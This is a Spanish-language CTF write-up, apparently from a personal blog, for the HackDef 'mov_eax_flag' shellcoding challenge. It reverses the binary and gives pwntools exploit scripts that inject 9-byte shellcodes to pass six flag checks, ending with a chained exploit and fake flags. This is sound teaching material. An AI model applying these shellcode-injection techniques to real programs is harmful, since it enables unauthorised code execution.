xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackDef

Shellcoding



Reversing


Al ejecutar el binario que se otorga simplemente muestra una dirección de memoria, que ahora mismo no sabemos que es pero podria servirnos como leak del binario.

❯ ./mov_eax_flag
ADDR: 0x569751a0

Iniciamos desensamblando el binario, la función main, reserva espacio a una variable varGlobal y le establece como contenido la string A o 0x41, luego muestra la dirección de la varible con printf y llama a 3 funciones que ahora analizaremos.

La primera función a la que llama es PedirMemoria, utiliza mmap para reservar 9 bytes con la protección 6 o wx y usa memset para establecer los bytes a 0xcc.

Luego llama a LeerShellcode usando como argumento el puntero que devolvió la función anterior, ahora llama a fread para recibir 9 bytes y escribirlos en él.

Una vez que recibe los 9 bytes llama a ese puntero utilizando call eax, por lo que podemos ejecutar 9 bytes como shellcode o instrucciones ensamblador.

Entonces la explotación es simple, enviaremos un int3 que nos servirá como breakpoint y 3 nops, si podemos ejecutarlos podemos ejecutar otras instrucciones.

#!/usr/bin/python3
from pwn import gdb, asm

shell = gdb.debug("./mov_eax_flag", "continue")

shellcode = asm("""
    int3
    nop
    nop
    nop
""").ljust(9, asm("nop"))

shell.sendline(shellcode)
shell.interactive()

Al ejecutar el exploit el debugger se detiene en int3 haciendo que inmediatamente ejecute las instrucciones ensamblador que tenga después como shellcode.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xf7f70001 in ?? ()
pwndbg> x/4i $eip-1
   0xf7f70000:  int3
=> 0xf7f70001:  nop
   0xf7f70002:  nop
   0xf7f70003:  nop
pwndbg>

A fin de poder resolver el reto vamos a simular las 6 flags en las que consiste.

❯ ls -l
.rw-r--r-- user user 30 B Fri Dec 12 15:43:47 2025  Flag_1.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:43:51 2025  Flag_2.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:43:55 2025  Flag_3.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:43:59 2025  Flag_4.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:44:03 2025  Flag_5.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:44:09 2025  Flag_6.txt

❯ cat Flag_*.txt
hackdef{f4k3_fl4g1_4_t35t1ng}
hackdef{f4k3_fl4g2_4_t35t1ng}
hackdef{f4k3_fl4g3_4_t35t1ng}
hackdef{f4k3_fl4g4_4_t35t1ng}
hackdef{f4k3_fl4g5_4_t35t1ng}
hackdef{f4k3_fl4g6_4_t35t1ng}


Explotación


Volviendo al main vemos que muestra el valor de retorno de EjecutarShellcode, luego llama a PrintFlag mostrando la flag 1, seguido de ello compara que el valor de retorno sea el caracter H o 0x48, si se cumple entonces muestra la flag 2.

Según las convenciones de registros sabemos que el valor de retorno se almacena en el registro eax, lo que podemos hacer es a través del shellcode darle el valor de 0x48 a eax, para que al retornar cumpla la validación, algo a tener en cuenta es que necesitamos enviar 9 bytes y no menos, por lo que el resto lo rellenamos con nops.

#!/usr/bin/python3
from pwn import process, asm, log

shell = process("./mov_eax_flag", level="error")

shellcode = asm("""
    push 0x48
    pop eax
    ret
""").ljust(9, asm("nop"))

shell.sendline(shellcode)

flag_1 = shell.recvline_contains(b"hackdef").decode()
flag_2 = shell.recvline_contains(b"hackdef").decode()

log.info(f"Flag 1: {flag_1}")
log.info(f"Flag 2: {flag_2}")

shell.close()

Al ejecutar el binario se muestra la primera flag y al cumplir la comparación se muestra la segunda, por lo tanto nuestro exploit devuelve las primeras 2 flags.

❯ python3 exploit.py
[*] Flag 1: hackdef{f4k3_fl4g1_4_t35t1ng}
[*] Flag 2: hackdef{f4k3_fl4g2_4_t35t1ng}

Al volver al main terminando este bloque encontramos que con printf se muestra varGlobal lekeando su dirección, luego compara su valor que originalmente se estableció a 0x41 con 0x41, si es diferente entonces muestra la flag 3 y va a otra comparación, si su valor es igual a 0x43 entonces muestra la flag 4.

Entonces, ya que tenemos el leak podemos simplemente recibir la dirección de la variable y cambiar su valor por 0x43, de esta forma pasamos las 2 comprobaciones.

#!/usr/bin/python3
from pwn import process, asm, log

shell = process("./mov_eax_flag", level="error")

shell.recvuntil(b"ADDR: ")
variable = shell.recvline().strip().decode()

shellcode = asm(f"""
    mov byte ptr ds:{variable}, 0x43
    ret
""").ljust(9, asm("nop"))

shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")

flag_3 = shell.recvline_contains(b"hackdef").decode()
flag_4 = shell.recvline_contains(b"hackdef").decode()

log.info(f"Flag 3: {flag_3}")
log.info(f"Flag 4: {flag_4}")

shell.close()

Al pasar la primer comparación nos devuelve la flag 3 y en la segunda comparación la flag 4, de esta forma obtenemos 2 utilizando la misma instrucción en el shellcode.

❯ python3 exploit.py
[*] Flag 3: hackdef{f4k3_fl4g3_4_t35t1ng}
[*] Flag 4: hackdef{f4k3_fl4g4_4_t35t1ng}

Si seguimos con el flujo del main encontramos que la comparación ahora va a una variable local que se encuentra en ebp - 0x14 de la función main, la primera comparación es que su contenido sea diferente a 0x4b y si es asi devuelve la flag 5, la segunda comparación valida que el byte sea igual a 0x44 y devuelve la flag 6.

Hay que tener en cuenta que es el ebp del main y estamos ejecutando el shellcode en EjecutarShellcode, en el inicio de la función hace un push ebp que guarda el ebp del main en el stack y con el mov esp, ebp guarda el valor del stack en ebp, por lo que si accedemos al [ebp] de EjecutarShellcode tendrá el ebp del main.

pwndbg> disassemble EjecutarShellcode
Dump of assembler code for function EjecutarShellcode:
   0x000014cf <+0>:     endbr32
   0x000014d3 <+4>:     push   ebp
   0x000014d4 <+5>:     mov    ebp,esp
   0x000014d6 <+7>:     sub    esp,0x18
   0x000014d9 <+10>:    call   0x167b <__x86.get_pc_thunk.ax>
   0x000014de <+15>:    add    eax,0x2abe
   0x000014e3 <+20>:    mov    eax,DWORD PTR [ebp+0x8]
   0x000014e6 <+23>:    mov    DWORD PTR [ebp-0xc],eax
   0x000014e9 <+26>:    mov    eax,DWORD PTR [ebp-0xc]
   0x000014ec <+29>:    call   eax
   0x000014ee <+31>:    leave
   0x000014ef <+32>:    ret
End of assembler dump.
pwndbg>

Guardamos en edi el valor del ebp del main que encontramos en [ebp], restamos 0x14 y movemos a esa dirección el byte 0x44 que pasa ambas validaciones.

#!/usr/bin/python3
from pwn import process, asm, log

shell = process("./mov_eax_flag", level="error")

shellcode = asm("""
    mov edi, dword ptr [ebp]
    mov byte ptr [edi - 0x14], 0x44
    ret
""").ljust(9, asm("nop"))

shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")

flag_5 = shell.recvline_contains(b"hackdef").decode()
flag_6 = shell.recvline_contains(b"hackdef").decode()

log.info(f"Flag 5: {flag_5}")
log.info(f"Flag 6: {flag_6}")

shell.close()

La primera validación devuelve la flag 5 y la segunda validación la flag 6 por lo que con esta última parte de la ejecución conseguimos mostrar todas las flags.

❯ python3 exploit.py
[*] Flag 5: hackdef{f4k3_fl4g5_4_t35t1ng}
[*] Flag 6: hackdef{f4k3_fl4g6_4_t35t1ng}

Ya con los 3 exploits funcionales lo único que nos queda es hacer una cadena de los 3 exploits para que al ejecutarlo nos devuelva el contenido de todas las 6 flags.

#!/usr/bin/python3
from pwn import process, asm, log

shell = process("./mov_eax_flag", level="error")

shellcode = asm("""
    push 0x48
    pop eax
    ret
""").ljust(9, asm("nop"))

shell.sendline(shellcode)

flag_1 = shell.recvline_contains(b"hackdef").decode()
flag_2 = shell.recvline_contains(b"hackdef").decode()

log.info(f"Flag 1: {flag_1}")
log.info(f"Flag 2: {flag_2}")

shell.close()

shell = process("./mov_eax_flag", level="error")

shell.recvuntil(b"ADDR: ")
variable = shell.recvline().strip().decode()

shellcode = asm(f"""
    mov byte ptr ds:{variable}, 0x43
    ret
""").ljust(9, asm("nop"))

shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")

flag_3 = shell.recvline_contains(b"hackdef").decode()
flag_4 = shell.recvline_contains(b"hackdef").decode()

log.info(f"Flag 3: {flag_3}")
log.info(f"Flag 4: {flag_4}")

shell.close()

shell = process("./mov_eax_flag", level="error")

shellcode = asm("""
    mov edi, dword ptr [ebp]
    mov byte ptr [edi - 0x14], 0x44
    ret
""").ljust(9, asm("nop"))

shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")

flag_5 = shell.recvline_contains(b"hackdef").decode()
flag_6 = shell.recvline_contains(b"hackdef").decode()

log.info(f"Flag 5: {flag_5}")
log.info(f"Flag 6: {flag_6}")

shell.close()

❯ python3 exploit.py
[*] Flag 1: hackdef{f4k3_fl4g1_4_t35t1ng}
[*] Flag 2: hackdef{f4k3_fl4g2_4_t35t1ng}
[*] Flag 3: hackdef{f4k3_fl4g3_4_t35t1ng}
[*] Flag 4: hackdef{f4k3_fl4g4_4_t35t1ng}
[*] Flag 5: hackdef{f4k3_fl4g5_4_t35t1ng}
[*] Flag 6: hackdef{f4k3_fl4g6_4_t35t1ng}